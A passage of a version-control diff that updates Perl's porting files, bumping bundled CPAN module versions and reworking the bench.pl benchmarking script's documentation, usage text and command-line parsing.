             'pod/perlpodstyle.pod' => 'pod/perlpodstyle.pod',
         },
+
+        'CUSTOMIZED'   => [ qw[ pod/perlpodstyle.pod ] ],
     },
 
     'Safe' => {
@@ -966,18 +988,9 @@
         'FILES'        => q[dist/Safe],
     },
 
-    'Scalar-List-Utils' => {
-        'DISTRIBUTION' => 'PEVANS/Scalar-List-Utils-1.46.tar.gz',
+    'Scalar::Util' => {
+        'DISTRIBUTION' => 'PEVANS/Scalar-List-Utils-1.50.tar.gz',
         'FILES'        => q[cpan/Scalar-List-Utils],
-        'CUSTOMIZED'   => [
-            'lib/List/Util.pm',    # CPAN RT 118470
-            'lib/List/Util/XS.pm', # CPAN RT 118470
-            'lib/Scalar/Util.pm',  # CPAN RT 118470
-            'lib/Sub/Util.pm',     # CPAN RT 118470
-            't/lln.t',             # CPAN RT 118470
-            't/uniq.t',            # CPAN RT 118470
-            't/tainted.t',         # CPAN RT 119169
-        ],
     },
 
     'Search::Dict' => {
@@ -986,19 +999,14 @@
     },
 
     'SelfLoader' => {
-        'DISTRIBUTION' => 'SMUELLER/SelfLoader-1.20.tar.gz',
+        'DISTRIBUTION' => 'SMUELLER/SelfLoader-1.24.tar.gz',
         'FILES'        => q[dist/SelfLoader],
         'EXCLUDED'     => ['t/00pod.t'],
     },
 
     'Socket' => {
-        'DISTRIBUTION' => 'PEVANS/Socket-2.020.tar.gz',
+        'DISTRIBUTION' => 'PEVANS/Socket-2.027.tar.gz',
         'FILES'        => q[cpan/Socket],
-
-        # https://rt.cpan.org/Ticket/Display.html?id=106797
-        # https://rt.cpan.org/Ticket/Display.html?id=107058
-        # https://rt.cpan.org/Ticket/Display.html?id=111707
-        'CUSTOMIZED'   => [ qw[ Socket.pm Socket.xs ] ],
     },
 
     'Storable' => {
@@ -1062,7 +1070,7 @@
     },
 
     'Test::Harness' => {
-        'DISTRIBUTION' => 'LEONT/Test-Harness-3.38.tar.gz',
+        'DISTRIBUTION' => 'LEONT/Test-Harness-3.42.tar.gz',
         'FILES'        => q[cpan/Test-Harness],
         'EXCLUDED'     => [
             qr{^examples/},
@@ -1078,22 +1086,17 @@
     },
 
     'Test::Simple' => {
-        'DISTRIBUTION' => 'EXODIST/Test-Simple-1.302073.tar.gz',
+        'DISTRIBUTION' => 'EXODIST/Test-Simple-1.302133.tar.gz',
         'FILES'        => q[cpan/Test-Simple],
         'EXCLUDED'     => [
             qr{^examples/},
             qr{^xt/},
             qw( appveyor.yml
-                perltidyrc
                 t/00compile.t
                 t/00-report.t
                 t/zzz-check-breaks.t
                 ),
         ],
-        'CUSTOMIZED'   => [
-            #
-            qw( t/Test2/modules/IPC/Driver/Files.t )
-        ],
     },
 
     'Text::Abbrev' => {
@@ -1161,7 +1164,7 @@
     },
 
     'threads' => {
-        'DISTRIBUTION' => 'JDHEDDEN/threads-2.15.tar.gz',
+        'DISTRIBUTION' => 'JDHEDDEN/threads-2.21.tar.gz',
         'FILES'        => q[dist/threads],
         'EXCLUDED'     => [
             qr{^examples/},
@@ -1173,7 +1176,7 @@
     },
 
     'threads::shared' => {
-        'DISTRIBUTION' => 'JDHEDDEN/threads-shared-1.55.tar.gz',
+        'DISTRIBUTION' => 'JDHEDDEN/threads-shared-1.58.tar.gz',
         'FILES'        => q[dist/threads-shared],
         'EXCLUDED'     => [
             qw( examples/class.pl
@@ -1195,7 +1198,7 @@
     },
 
     'Time::HiRes' => {
-        'DISTRIBUTION' => 'JHI/Time-HiRes-1.9741.tar.gz',
+        'DISTRIBUTION' => 'JHI/Time-HiRes-1.9759.tar.gz',
         'FILES'        => q[dist/Time-HiRes],
     },
 
@@ -1214,12 +1217,13 @@
     },
 
     'Time::Piece' => {
-        'DISTRIBUTION' => 'ESAYM/Time-Piece-1.31.tar.gz',
+        'DISTRIBUTION' => 'ESAYM/Time-Piece-1.3204.tar.gz',
         'FILES'        => q[cpan/Time-Piece],
+        'EXCLUDED'     => [ qw[reverse_deps.txt] ],
     },
 
     'Unicode::Collate' => {
-        'DISTRIBUTION' => 'SADAHIRO/Unicode-Collate-1.19.tar.gz',
+        'DISTRIBUTION' => 'SADAHIRO/Unicode-Collate-1.25.tar.gz',
         'FILES'        => q[cpan/Unicode-Collate],
         'EXCLUDED'     => [
             qr{N$},
@@ -1245,7 +1249,7 @@
     },
 
     'version' => {
-        'DISTRIBUTION' => 'JPEACOCK/version-0.9917.tar.gz',
+        'DISTRIBUTION' => 'JPEACOCK/version-0.9918.tar.gz',
         'FILES'        => q[cpan/version vutil.c vutil.h vxs.inc],
         'EXCLUDED' => [
             qr{^vutil/lib/},
@@ -1262,6 +1266,7 @@
         # only necessary with the CPAN release.
         'CUSTOMIZED'   => [
             qw( lib/version.pm
+                vxs.inc
                 ),
         ],
 

Modified: vendor/perl/dist/Porting/Maintainers.pm
===================================================================
--- vendor/perl/dist/Porting/Maintainers.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/Maintainers.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,16 +13,15 @@
 use 5.008;
 
 require "Maintainers.pl";
-use vars qw(%Modules %Maintainers);
+our (%Modules, %Maintainers);
 
-use vars qw(@ISA @EXPORT_OK $VERSION);
- at ISA = qw(Exporter);
- at EXPORT_OK = qw(%Modules %Maintainers
+our @ISA = qw(Exporter);
+our @EXPORT_OK = qw(%Modules %Maintainers
 		get_module_files get_module_pat
 		show_results process_options files_to_modules
 		finish_tap_output
 		reload_manifest);
-$VERSION = 0.12;
+our $VERSION = 0.13;
 
 require Exporter;
 

Modified: vendor/perl/dist/Porting/README.pod
===================================================================
--- vendor/perl/dist/Porting/README.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/README.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -258,6 +258,10 @@
 
 This script sorts the files in F<MANIFEST>.
 
+=head2 F<mksample>
+
+This script regenerates F<Porting/config.sh> and F<Porting/config_H>.
+
 =head2 F<new-perldelta.pl>
 
 This script automates the process for creating perldelta.pl.

Modified: vendor/perl/dist/Porting/acknowledgements.pl
===================================================================
--- vendor/perl/dist/Porting/acknowledgements.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/acknowledgements.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -25,7 +25,7 @@
 use Time::Piece;
 use Time::Seconds;
 use version;
-$Text::Wrap::columns = 80;
+$Text::Wrap::columns = 77;
 
 my $since_until = shift;
 
@@ -57,7 +57,7 @@
 were approximately $formatted_code_changes lines of changes to
 $formatted_code_files .pm, .t, .c and .h files.
 
-Perl continues to flourish into its third decade thanks to a vibrant
+Perl continues to flourish into its fourth decade thanks to a vibrant
 community of users and developers. The following people are known to
 have contributed the improvements that became Perl $next_version:
 

Modified: vendor/perl/dist/Porting/bench.pl
===================================================================
--- vendor/perl/dist/Porting/bench.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/bench.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,24 +14,21 @@
     # Basic: run the tests in t/perf/benchmarks against two or
     # more perls
 
-    bench.pl [options] -- perlA[=labelA] perlB[=labelB] ...
+    bench.pl [options] perlA[=labelA] perlB[=labelB] ...
 
-    # run the tests against same perlA 2x, with and without extra
-    # options
+    # run the tests against the same perl twice, with varying options
 
-    bench.pl [options] -- perlA=fast PerlA=slow -Mstrict -Dpsltoc 
+    bench.pl [options] perlA=bigint --args='-Mbigint' perlA=plain
 
-    # Run bench.pl's own built-in sanity tests
+    # Run bench on blead, saving results to file; then modify the blead
+    # binary, and benchmark again, comparing against the saved results
 
-    bench.pl --action=selftest
+    bench.pl [options] --write=blead.time ./perl=blead
+    # ... hack hack hack, updating ./perl ...
+    bench.pl --read=blead.time ./perl=hacked
 
-    # Run bench on blead, which is then modified and timed again
+    # You can also combine --read with --write and new benchmark runs
 
-    bench.pl [options] --write=blead.time -- ./perl=blead
-    # hack hack hack
-    bench.pl --read=blead.time -- ./perl=hacked
-
-    # You can also combine --read with --write
     bench.pl --read=blead.time --write=last.time -- ./perl=hacked
 
 =head1 DESCRIPTION
@@ -39,8 +36,9 @@
 By default, F<bench.pl> will run code snippets found in
 F<t/perf/benchmarks> (or similar) under cachegrind, in order to calculate
 how many instruction reads, data writes, branches, cache misses, etc. that
-one execution of the snippet uses. It will run them against two or more
-perl executables and show how much each test has gotten better or worse.
+one execution of the snippet uses. Usually it will run them against two or
+more perl executables and show how much each test has gotten better or
+worse.
 
 It is modelled on the F<perlbench> tool, but since it measures instruction
 reads etc., rather than timings, it is much more precise and reproducible.
@@ -53,15 +51,40 @@
 This means that you can view the same run data in different views with
 different selection and sort options. You can also use this mechanism
 to save the results of timing one perl, and then read it back while timing
-a modification, so that you dont have rerun the same tests on the same
-perl over and over, or have two perls built at the same time.
+a modification, so that you don't have rerun the same tests on the same
+perl over and over, or have two perl executables built at the same time.
 
 The optional C<=label> after each perl executable is used in the display
 output. If you are doing a two step benchmark then you should provide
-a label for at least the "base" perl.
+a label for at least the "base" perl. If a label isn't specified, it
+defaults to the name of the perl executable. Labels must be unique across
+all current executables, plus any previous ones obtained via --read.
 
+In its most general form, the specification of a perl executable is:
+
+    path/perl=+mylabel --args='-foo -bar' --args='-baz' \
+                       --env='A=a' --env='B=b'
+
+This defines how to run the executable F<path/perl>. It has a label,
+which due to the C<+>, is appended to the binary name to give a label of
+C<path/perl=+mylabel> (without the C<+>, the label would be just
+C<mylabel>).
+
+It can be optionally followed by one or more C<--args> or C<--env>
+switches, which specify extra command line arguments or environment
+variables to use when invoking that executable. Each C<--env> switch
+should be of the form C<--env=VARIABLE=value>. Any C<--arg> values are
+concatenated to the eventual command line, along with the global
+C<--perlargs> value if any. The above would cause a system() call looking
+something like:
+
+    PERL_HASH_SEED=0 A=a B=b valgrind --tool=cachegrind \
+        path/perl -foo -bar -baz ....
+
 =head1 OPTIONS
 
+=head2 General options
+
 =over 4
 
 =item *
@@ -74,131 +97,114 @@
 
 =item *
 
---average
+--debug
 
-Only display the overall average, rather than the results for each
-individual test.
+Enable debugging output.
 
 =item *
 
---benchfile=I<foo>
+---help
 
-The path of the file which contains the benchmarks (F<t/perf/benchmarks>
-by default).
+Display basic usage information.
 
 =item *
 
---bisect=I<field,minval,maxval>
+-v
+--verbose
 
-Run a single test against one perl and exit with a zero status if the
-named field is in the specified range; exit 1 otherwise. It will complain
-if more than one test or perl has been specified. It is intended to be
-called as part of a bisect run, to determine when something changed.
-For example,
+Display progress information.
 
-    bench.pl -j 8 --tests=foo --bisect=Ir,100,105 --perlargs=-Ilib \
-        ./miniperl
+=back
 
-might be called from bisect to find when the number of instruction reads
-for test I<foo> falls outside the range 100..105.
+=head2 Test selection options
 
+=over 4
+
 =item *
 
---compact=<Iperl>
+--tests=I<FOO>
 
-Display the results for a single perl executable in a compact form.
-Which perl to display is specified in the same manner as C<--norm>.
+Specify a subset of tests to run (or in the case of C<--read>, to read).
+It may be either a comma-separated list of test names, or a regular
+expression. For example
 
-=item *
+    --tests=expr::assign::scalar_lex,expr::assign::2list_lex
+    --tests=/^expr::/
 
---debug
 
-Enable verbose debugging output.
+=back
 
+=head2 Input options
+
+=over 4
+
+
 =item *
 
---fields=I<a,b,c>
+-r I<file>
+--read=I<file>
 
-Display only the specified fields; for example,
+Read in saved data from a previous C<--write> run from the specified file.
+If C<--tests> is present too, then only tests matching those conditions
+are read from the file.
 
-    --fields=Ir,Ir_m,Ir_mm
+C<--read> may be specified multiple times, in which case the results
+across all files are aggregated. The list of test names from each file
+(after filtering by C<--tests>) must be identical across all files.
 
-If only one field is selected, the output is in more compact form.
+This list of tests is used instead of that obtained from the normal
+benchmark file (or C<--benchfile>) for any benchmarks that are run.
 
-=item *
+The perl labels must be unique across all read in test results.
 
---grindargs=I<foo>
+Requires C<JSON::PP> to be available.
 
-Optional command-line arguments to pass to all cachegrind invocations.
+=back
 
-This option is appended to those which bench.pl uses for its own
-purposes; so it can be used to override them (see --debug output
-below), and can also be 'abused' to add redirects into the valgrind
-command invocation.
+=head2 Benchmarking options
 
-For example, this writes PERL_MEM_LOG activity to foobar.$$, because
-3>foobar.$$ redirects fd 3, then perl under PERL_MEM_LOG writes to fd 3.
+Benchmarks will be run for all perls specified on the command line.
+These options can be used to modify the benchmarking behavior:
 
- $ perl Porting/bench.pl --jobs=2 --verbose --debug \
-    --tests=call::sub::amp_empty \
-    \
-    --grindargs='--cachegrind-out-file=junk.$$ 3>foobar.$$' \
-    -- \
-    perl5.24.0	perl5.24.0:+memlog:PERL_MEM_LOG=3mst
+=over 4
 
-for the +memlog tests, this executes as: (shown via --debug, then prettyfied)
+=item *
 
-  Command: PERL_HASH_SEED=0 PERL_MEM_LOG=3mst
-    valgrind --tool=cachegrind  --branch-sim=yes
-    --cachegrind-out-file=/dev/null --cachegrind-out-file=junk.$$
-    3>foobar.$$ perl5.24.0  - 10 2>&1
+--autolabel
 
-The result is that a set of junk.$$ files containing raw cachegrind
-output are written, and foobar.$$ contains the expected memlog output.
+Generate a unique label for every executable which doesn't have an
+explicit C<=label>. Works by stripping out common prefixes and suffixes
+from the executable names, then for any non-unique names, appending
+C<-0>, C<-1>, etc. text directly surrounding the unique part which look
+like version numbers (i.e. which match C</[0-9\.]+/>) aren't stripped.
+For example,
 
-Notes:
+    perl-5.20.0-threaded  perl-5.22.0-threaded  perl-5.24.0-threaded
 
-Theres no obvious utility for those junk.$$ and foobar.$$ files, but
-you can have them anyway.
+stripped to unique parts would be:
 
-The 3 in PERL_MEM_LOG=3mst is needed because the output would
-otherwize go to STDERR, and cause parse_cachegrind() to reject the
-test and die.
+    20  22  24
 
-The --grindargs redirect is needed to capture the memlog output;
-without it, the memlog output is written to fd3, around
-parse_cachegrind and effectively into /dev/null
+but is actually only stripped down to:
 
-PERL_MEM_LOG is expensive when used.
+    5.20.0  5.22.0  5.24.0
 
-call::sub::amp_empty
-&foo function call with no args or body
+If the final results are plain integers, they are prefixed with "p"
+to avoid looking like column numbers to switches like C<--norm=2>.
 
-       perl5.24.0 perl5.24.0+memlog
-       ---------- -----------------
-    Ir      394.0          543477.5
-    Dr      161.0          146814.1
-    Dw       72.0          122304.6
-  COND       58.0           66796.4
-   IND        5.0            5537.7
 
-COND_m        0.0            6743.1
- IND_m        5.0            1490.2
+=item *
 
- Ir_m1        0.0             683.7
- Dr_m1        0.0              65.9
- Dw_m1        0.0               8.5
+--benchfile=I<foo>
 
- Ir_mm        0.0              11.6
- Dr_mm        0.0              10.6
- Dw_mm        0.0               4.7
+The path of the file which contains the benchmarks (F<t/perf/benchmarks>
+by default).
 
-
 =item *
 
----help
+--grindargs=I<foo>
 
-Display basic usage information.
+Optional command-line arguments to pass to all cachegrind invocations.
 
 =item *
 
@@ -206,85 +212,143 @@
 --jobs=I<N>
 
 Run I<N> jobs in parallel (default 1). This determines how many cachegrind
-process will running at a time, and should generally be set to the number
+process will run at a time, and should generally be set to the number
 of CPUs available.
 
 =item *
 
---norm=I<foo>
+--perlargs=I<foo>
 
-Specify which perl column in the output to treat as the 100% norm.
-It may be a column number (0..N-1) or a perl executable name or label.
-It defaults to the leftmost column.
+Optional command-line arguments to pass to every perl executable.  This
+may optionaly be combined with C<--args> switches following individual
+perls. For example:
 
+    bench.pl --perlargs='-Ilib -It/lib' .... \
+        perlA --args='-Mstrict' \
+        perlB --args='-Mwarnings'
+
+would cause the invocations
+
+    perlA -Ilib -It/lib -Mstrict
+    perlB -Ilib -It/lib -Mwarnings
+
+=back
+
+=head2 Output options
+
+Any results accumulated via --read or by running benchmarks can be output
+in any or all of these three ways:
+
+=over 4
+
 =item *
 
---perlargs=I<foo>
+-w I<file>
+--write=I<file>
 
-Optional command-line arguments to pass to each perl-under-test
-(perlA, perlB in synopsis) For example, C<--perlargs=-Ilib>.
+Save the raw data to the specified file. It can be read back later with
+C<--read>. If combined with C<--read> then the output file will be
+the merge of the file read and any additional perls added on the command
+line.
 
+Requires C<JSON::PP> to be available.
+
 =item *
 
---raw
+--bisect=I<field,minval,maxval>
 
-Display raw data counts rather than percentages in the outputs. This
-allows you to see the exact number of intruction reads, branch misses etc.
-for each test/perl combination. It also causes the C<AVERAGE> display
-per field to be calculated based on the average of each tests's count
-rather than average of each percentage. This means that tests with very
-high counts will dominate.
+Exit with a zero status if the named field is in the specified range;
+exit with 1 otherwise. It will complain if more than one test or perl has
+been specified. It is intended to be called as part of a bisect run, to
+determine when something changed.  For example,
 
+    bench.pl -j 8 --tests=foo --bisect=Ir,100,105 --perlargs=-Ilib \
+        ./miniperl
+
+might be called from bisect to find when the number of instruction reads
+for test I<foo> falls outside the range 100..105.
+
 =item *
 
---sort=I<field:perl>
+--show
 
-Order the tests in the output based on the value of I<field> in the
-column I<perl>. The I<perl> value is as per C<--norm>. For example
+Display the results to stdout in human-readable form.  This is enabled by
+default, except with --write and --bisect. The following sub-options alter
+how --show behaves.
 
-    bench.pl --sort=Dw:perl-5.20.0 \
-        perl-5.16.0 perl-5.18.0 perl-5.20.0
+=over 4
 
 =item *
 
--r I<file>
---read=I<file>
+--average
 
-Read in saved data from a previous C<--write> run from the specified file.
+Only display the overall average, rather than the results for each
+individual test.
 
-Requires C<JSON::PP> to be available.
+=item *
 
+--compact=I<perl>
+
+Display the results for a single perl executable in a compact form.
+Which perl to display is specified in the same manner as C<--norm>.
+
 =item *
 
---tests=I<FOO>
+--fields=I<a,b,c>
 
-Specify a subset of tests to run (or in the case of C<--read>, to display).
-It may be either a comma-separated list of test names, or a regular
-expression. For example
+Display only the specified fields; for example,
 
-    --tests=expr::assign::scalar_lex,expr::assign::2list_lex
-    --tests=/^expr::/
+    --fields=Ir,Ir_m,Ir_mm
 
+If only one field is selected, the output is in more compact form.
+
 =item *
 
---verbose
+--norm=I<foo>
 
-Display progress information.
+Specify which perl column in the output to treat as the 100% norm.
+It may be:
 
+=over
+
+* a column number (0..N-1),
+
+* a negative column number (-1..-N) which counts from the right (so -1 is
+the right-most column),
+
+* or a perl executable name,
+
+* or a perl executable label.
+
+=back
+
+It defaults to the leftmost column.
+
 =item *
 
--w I<file>
---write=I<file>
+--raw
 
-Save the raw data to the specified file. It can be read back later with
-C<--read>. If combined with C<--read> then the output file will be
-the merge of the file read and any additional perls added on the command
-line.
+Display raw data counts rather than percentages in the outputs. This
+allows you to see the exact number of intruction reads, branch misses etc.
+for each test/perl combination. It also causes the C<AVERAGE> display
+per field to be calculated based on the average of each tests's count
+rather than average of each percentage. This means that tests with very
+high counts will dominate.
 
-Requires C<JSON::PP> to be available.
+=item *
 
+--sort=I<field:perl>
+
+Order the tests in the output based on the value of I<field> in the
+column I<perl>. The I<perl> value is as per C<--norm>. For example
+
+    bench.pl --sort=Dw:perl-5.20.0 \
+        perl-5.16.0 perl-5.18.0 perl-5.20.0
+
 =back
 
+=back
+
 =cut
 
 
@@ -310,46 +374,81 @@
 
 sub usage {
     die <<EOF;
-usage: $0 [options] -- perl[=label] ...
-  --action=foo       What action to perform [default: grind].
-  --average          Only display average, not individual test results.
-  --benchfile=foo    File containing the benchmarks;
-                       [default: t/perf/benchmarks].
-  --bisect=f,min,max run a single test against one perl and exit with a
-                       zero status if the named field is in the specified
-                       range; exit 1 otherwise.
-  --compact=perl     Display the results of a single perl in compact form.
-                     Which perl specified like --norm
+Usage: $0 [options] -- perl[=label] ...
+
+General options:
+
+  --action=foo       What action to perform [default: grind]:
+                        grind      run the code under cachegrind
+                        selftest   perform a selftest; produce TAP output
   --debug            Enable verbose debugging output.
-  --fields=a,b,c     Display only the specified fields (e.g. Ir,Ir_m,Ir_mm).
+  --help             Display this help.
+  -v|--verbose       Display progress information.
+
+
+Selection:
+
+  --tests=FOO        Select only the specified tests for reading, benchmarking
+                       and display.  FOO may be either a list of tests or
+                       a pattern: 'foo,bar,baz' or '/regex/';
+                       [default: all tests].
+
+Input:
+
+  -r|--read=file     Read in previously saved data from the specified file.
+                        May be repeated, and be used together with new
+                        benchmarking to create combined results.
+
+Benchmarking:
+  Benchmarks will be run for any perl specified on the command line.
+  These options can be used to modify the benchmarking behavior:
+
+  --autolabel        generate labels for any executables without one
+  --benchfile=foo    File containing the benchmarks.
+                         [default: t/perf/benchmarks].
   --grindargs=foo    Optional command-line args to pass to cachegrind.
-  --help             Display this help.
   -j|--jobs=N        Run N jobs in parallel [default 1].
-  --norm=perl        Which perl column to treat as 100%; may be a column
-                       number (0..N-1) or a perl executable name or label;
-                       [default: 0].
   --perlargs=foo     Optional command-line args to pass to each perl to run.
-  --raw              Display raw data counts rather than percentages.
-  --show             Show results even though we are going to write results.
-  --sort=field:perl  Sort the tests based on the value of 'field' in the
+
+Output:
+  Any results accumulated via --read or running benchmarks can be output
+  in any or all of these three ways:
+
+  -w|--write=file    Save the raw data to the specified file (may be read
+                       back later with --read).
+
+  --bisect=f,min,max Exit with a zero status if the named field f is in
+                       the specified min..max range; exit 1 otherwise.
+                       Produces no other output. Only legal if a single
+                       benchmark test has been specified.
+
+  --show             Display the results to stdout in human-readable form.
+                       This is enabled by default, except with --write and
+                       --bisect. The following sub-options alter how
+                       --show behaves.
+
+    --average          Only display average, not individual test results.
+    --compact=perl     Display the results of a single perl in compact form.
+                       Which perl specified like --norm
+    --fields=a,b,c     Display only the specified fields (e.g. Ir,Ir_m,Ir_mm).
+    --norm=perl        Which perl column to treat as 100%; may be a column
+                         number (0..N-1) or a perl executable name or label;
+                         [default: 0].
+    --raw              Display raw data counts rather than percentages.
+    --sort=field:perl  Sort the tests based on the value of 'field' in the
                        column 'perl'. The perl value is as per --norm.
-  -r|--read=file     Read in previously saved data from the specified file.
-  --tests=FOO        Select only the specified tests from the benchmarks file;
-                       FOO may be either of the form 'foo,bar' or '/regex/';
-                       [default: all tests].
-  --verbose          Display progress information.
-  -w|--write=file    Save the raw data to the specified file.
 
---action is one of:
-    grind            run the code under cachegrind
-    selftest         perform a selftest; produce TAP output
 
 The command line ends with one or more specified perl executables,
 which will be searched for in the current \$PATH. Each binary name may
 have an optional =LABEL appended, which will be used rather than the
-executable name in output. E.g.
+executable name in output. The labels must be unique across all current
+executables and previous runs obtained via --read. Each executable may
+optionally be succeeded by --args= and --env= to specify per-executable
+arguments and environmenbt variables:
 
-    perl-5.20.1=PRE-BUGFIX  perl-5.20.1-new=POST-BUGFIX
+    perl-5.24.0=strict --args='-Mwarnings -Mstrict' --env='FOO=foo' \
+    perl-5.24.0=plain
 EOF
 }
 
@@ -356,7 +455,7 @@
 my %OPTS = (
     action    => 'grind',
     average   => 0,
-    benchfile => 't/perf/benchmarks',
+    benchfile => undef,
     bisect    => undef,
     compact   => undef,
     debug     => 0,
@@ -367,7 +466,7 @@
     perlargs  => '',
     raw       => 0,
     read      => undef,
-    show      => 0,
+    show      => undef,
     sort      => undef,
     tests     => undef,
     verbose   => 0,
@@ -381,24 +480,25 @@
     GetOptions(
         'action=s'    => \$OPTS{action},
         'average'     => \$OPTS{average},
+        'autolabel'   => \$OPTS{autolabel},
         'benchfile=s' => \$OPTS{benchfile},
         'bisect=s'    => \$OPTS{bisect},
         'compact=s'   => \$OPTS{compact},
         'debug'       => \$OPTS{debug},
         'grindargs=s' => \$OPTS{grindargs},
-        'help'        => \$OPTS{help},
+        'help|h'      => \$OPTS{help},
         'fields=s'    => \$OPTS{fields},
         'jobs|j=i'    => \$OPTS{jobs},
         'norm=s'      => \$OPTS{norm},
         'perlargs=s'  => \$OPTS{perlargs},
         'raw'         => \$OPTS{raw},
-        'read|r=s'    => \$OPTS{read},
-        'show!'       => \$OPTS{show},
+        'read|r=s@'   => \$OPTS{read},
+        'show'        => \$OPTS{show},
         'sort=s'      => \$OPTS{sort},
         'tests=s'     => \$OPTS{tests},
-        'verbose'     => \$OPTS{verbose},
+        'v|verbose'   => \$OPTS{verbose},
         'write|w=s'   => \$OPTS{write},
-    ) or usage;
+    ) or die "Use the -h option for usage information.\n";
 
     usage if $OPTS{help};
 
@@ -431,7 +531,7 @@
               . "'$OPTS{sort}'\n";
         }
         my ($field, $perl) = @s;
-        die "Error: --sort: unknown field '$field\n"
+        die "Error: --sort: unknown field '$field'\n"
             unless $VALID_FIELDS{$field};
         # the 'perl' value will be validated later, after we have processed
         # the perls
@@ -439,24 +539,16 @@
         $OPTS{'sort-perl'}  = $perl;
     }
 
-    if ($OPTS{action} eq 'selftest') {
-        if (@ARGV) {
-            die "Error: no perl executables may be specified with --read\n"
-        }
-    }
-    elsif (defined $OPTS{bisect}) {
-        die "Error: exactly one perl executable must be specified for bisect\n"
-                                                unless @ARGV == 1;
-        die "Error: Can't specify both --bisect and --read\n"
-                                                if defined $OPTS{read};
-        die "Error: Can't specify both --bisect and --write\n"
-                                                if defined $OPTS{write};
-    }
+    # show is the default output action
+    $OPTS{show} = 1 unless $OPTS{write} || $OPTS{bisect};
 
     if ($OPTS{action} eq 'grind') {
         do_grind(\@ARGV);
     }
     elsif ($OPTS{action} eq 'selftest') {
+        if (@ARGV) {
+            die "Error: no perl executables may be specified with selftest\n"
+        }
         do_selftest();
     }
 }
@@ -484,10 +576,18 @@
     else {
         my %t;
         for (split /,/, $opt) {
-            die "Error: no such test found: '$_'\n"
-                . ($OPTS{verbose} ? "  have: @{[ sort keys %$tests ]}\n" : "")
-                unless exists $tests->{$_};
             $t{$_} = 1;
+            next if exists $tests->{$_};
+
+            my $e = "Error: no such test found: '$_'\n";
+            if ($OPTS{verbose}) {
+                $e .= "Valid test names are:\n";
+                $e .= "  $_\n" for sort keys %$tests;
+            }
+            else {
+                $e .= "Re-run with --verbose for a list of valid tests.\n";
+            }
+            die $e;
         }
         for (keys %$tests) {
             delete $tests->{$_} unless exists $t{$_};
@@ -510,10 +610,38 @@
         $ta = do $file;
     }
     unless ($ta) {
-        die "Error: can't parse '$file': $@\n" if $@;
+        die "Error: can't load '$file': code didn't return a true value\n"
+                if defined $ta;
+        die "Error: can't parse '$file':\n$@\n" if $@;
         die "Error: can't read '$file': $!\n";
     }
 
+    # validate and process each test
+
+    {
+        my %valid = map { $_ => 1 } qw(desc setup code pre post compile);
+        my @tests = @$ta;
+        if (!@tests || @tests % 2 != 0) {
+            die "Error: '$file' does not contain evenly paired test names and hashes\n";
+        }
+        while (@tests) {
+            my $name = shift @tests;
+            my $hash = shift @tests;
+
+            unless ($name =~ /^[a-zA-Z]\w*(::\w+)*$/) {
+                die "Error: '$file': invalid test name: '$name'\n";
+            }
+
+            for (sort keys %$hash) {
+                die "Error: '$file': invalid key '$_' for test '$name'\n"
+                    unless exists $valid{$_};
+            }
+
+            # make description default to the code
+            $hash->{desc} = $hash->{code} unless exists $hash->{desc};
+        }
+    }
+
     my @orig_order;
     for (my $i=0; $i < @$ta; $i += 2) {
         push @orig_order, $ta->[$i];
@@ -525,15 +653,24 @@
 }
 
 
-# Process the perl/column argument of options like --norm and --sort.
-# Return the index of the matching perl.
+# Process the perl name/label/column argument of options like --norm and
+# --sort.  Return the index of the matching perl.
 
 sub select_a_perl {
     my ($perl, $perls, $who) = @_;
-    $perls||=[];
-    if ($perl =~ /^[0-9]$/) {
+    $perls ||= [];
+    my $n = @$perls;
+
+    if ($perl =~ /^-([0-9]+)$/) {
+        my $p = $1;
+        die "Error: $who value $perl outside range -1..-$n\n"
+                                        if $p < 1 || $p > $n;
+        return $n - $p;
+    }
+
+    if ($perl =~ /^[0-9]+$/) {
         die "Error: $who value $perl outside range 0.." . $#$perls . "\n"
-                                        unless $perl < @$perls;
+                                        unless $perl < $n;
         return $perl;
     }
     else {
@@ -540,8 +677,16 @@
         my @perl = grep    $perls->[$_][0] eq $perl
                         || $perls->[$_][1] eq $perl,
                         0..$#$perls;
-        die "Error: $who: unrecognised perl '$perl'\n"
-                                        unless @perl;
+        unless (@perl) {
+            my $valid = '';
+            for (@$perls) {
+                $valid .= "    $_->[1]";
+                $valid .= "  $_->[0]" if $_->[0] ne  $_->[1];
+                $valid .= "\n";
+            }
+            die "Error: $who: unrecognised perl '$perl'\n"
+              . "Valid perl names are:\n$valid";
+        }
         die "Error: $who: ambiguous perl '$perl'\n"
                                         if @perl > 1;
         return $perl[0];
@@ -549,58 +694,195 @@
 }
 
 
-# Validate the list of perl=label (+ cmdline options) on the command line.
-# Return a list of [ exe, label, cmdline-options ] tuples, i.e.
-# 'perl-under-test's (PUTs)
+# Validate the list of perl executables on the command line.
+# The general form is
+#
+#      a_perl_exe[=label] [ --args='perl args'] [ --env='FOO=foo' ]
+#
+# Return a list of [ exe, label, {env}, 'args' ] tuples
 
-sub process_puts {
-    my $read_perls= shift;
-    my @res_puts; # returned, each item is [ perlexe, label, @putargs ]
-    my %seen= map { $_->[1] => 1 } @$read_perls;
-    my @putargs; # collect not-perls into args per PUT
+sub process_executables_list {
+    my ($read_perls, @cmd_line_args) = @_;
 
-    for my $p (reverse @_) {
-        push @putargs, $p and next if $p =~ /^-/; # not-perl, dont send to qx//
+    my @results; # returned, each item is [ perlexe, label, {env}, 'args' ]
+    my %seen_from_reads = map { $_->[1] => 1 } @$read_perls;
+    my %seen;
+    my @labels;
 
-        my ($perl, $label, $env) = split /[=:,]/, $p, 3;
-        $label //= $perl;
-        $label = $perl.$label if $label =~ /^\+/;
-        die "$label cannot be used on 2 different perls under test\n" if $seen{$label}++;
+    while (@cmd_line_args) {
+        my $item = shift @cmd_line_args;
 
-        my %env;
-        if ($env) {
-            %env = split /[=,]/, $env;
+        if ($item =~ /^--(.*)$/) {
+            my ($switch, $val) = split /=/, $1, 2;
+            die "Error: unrecognised executable switch '--$switch'\n"
+                unless $switch =~  /^(args|env)$/;
+
+            die "Error: --$switch without a preceding executable name\n"
+                unless @results;
+
+            unless (defined $val) {
+                $val = shift @cmd_line_args;
+                die "Error: --$switch is missing value\n"
